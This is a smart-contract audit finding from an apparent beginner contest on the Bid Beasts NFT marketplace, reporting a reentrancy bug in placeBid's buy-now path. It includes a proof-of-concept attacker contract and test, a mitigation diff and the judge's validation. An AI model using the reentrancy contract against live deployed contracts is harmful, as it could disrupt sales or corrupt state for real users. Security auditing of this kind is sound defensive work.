Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy During Buy-Now Purchase

High: Reentrancy During Buy-Now Purchase

Description

  • The placeBid() function allows immediate purchase when a bid meets the buy-now price, executing the sale and refunding any previous bidder.

  • The function performs external calls to refund the previous bidder before completing all state changes, violating the checks-effects-interactions pattern and enabling reentrancy attacks.

if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
if (previousBidder != address(0)) {
_payout(previousBidder, previousBidAmount); // @> External call while listing still has data
}
_executeSale(tokenId); // @> Another external call that modifies state

Risk

Likelihood:

  • Occurs when a malicious contract is the previous bidder on an NFT

  • Happens during buy-now purchases where previous bids exist

Impact:

  • Reentrancy could manipulate auction state during execution

  • Potential for double-spending or state corruption

  • Could prevent legitimate buy-now purchases from completing

Proof of Concept

This test demonstrates how a malicious contract can exploit the reentrancy vulnerability during a buy-now purchase. The attacker's contract receives a refund for their previous bid and uses that opportunity to reenter the marketplace contract before the sale is finalized.

contract MaliciousBidder {
BidBeastsNFTMarket market;
uint256 targetTokenId;
uint256 attackCount;
constructor(address _market) {
market = BidBeastsNFTMarket(_market);
}
function placeBid(uint256 tokenId) external payable {
targetTokenId = tokenId;
market.placeBid{value: msg.value}(tokenId);
}
receive() external payable {
// Called when receiving bid refund
if (attackCount < 1) {
attackCount++;
// Try to manipulate state during refund
// At this point, listing.listed is false but bids[tokenId] still exists
// This could cause unexpected behavior or DoS
market.placeBid{value: msg.value}(targetTokenId);
}
}
}
function test_ReentrancyInBuyNow() public {
// Setup
MaliciousBidder attacker = new MaliciousBidder(address(market));
vm.deal(address(attacker), 10 ether);
// 1. Attacker places initial bid
attacker.placeBid{value: 2 ether}(tokenId);
// 2. Legitimate user tries to buy-now
vm.prank(legitimateBuyer);
vm.expectRevert(); // Transaction may revert due to reentrancy
market.placeBid{value: buyNowPrice}(tokenId);
}

Recommended Mitigation

Implement proper checks-effects-interactions pattern by completing all state changes before making external calls. Additionally, consider using OpenZeppelin's ReentrancyGuard for comprehensive protection.

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
if (listing.buyNowPrice > 0 && msg.value >= listing.buyNowPrice) {
uint256 salePrice = listing.buyNowPrice;
uint256 overpay = msg.value - salePrice;
+ address prevBidder = previousBidder;
+ uint256 prevAmount = previousBidAmount;
// Complete ALL state changes first
bids[tokenId] = Bid(msg.sender, salePrice);
listing.listed = false;
- if (previousBidder != address(0)) {
- _payout(previousBidder, previousBidAmount);
- }
_executeSale(tokenId); // This also modifies state
+ // External calls last
+ if (prevBidder != address(0)) {
+ _payout(prevBidder, prevAmount);
+ }
if (overpay > 0) {
_payout(msg.sender, overpay);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.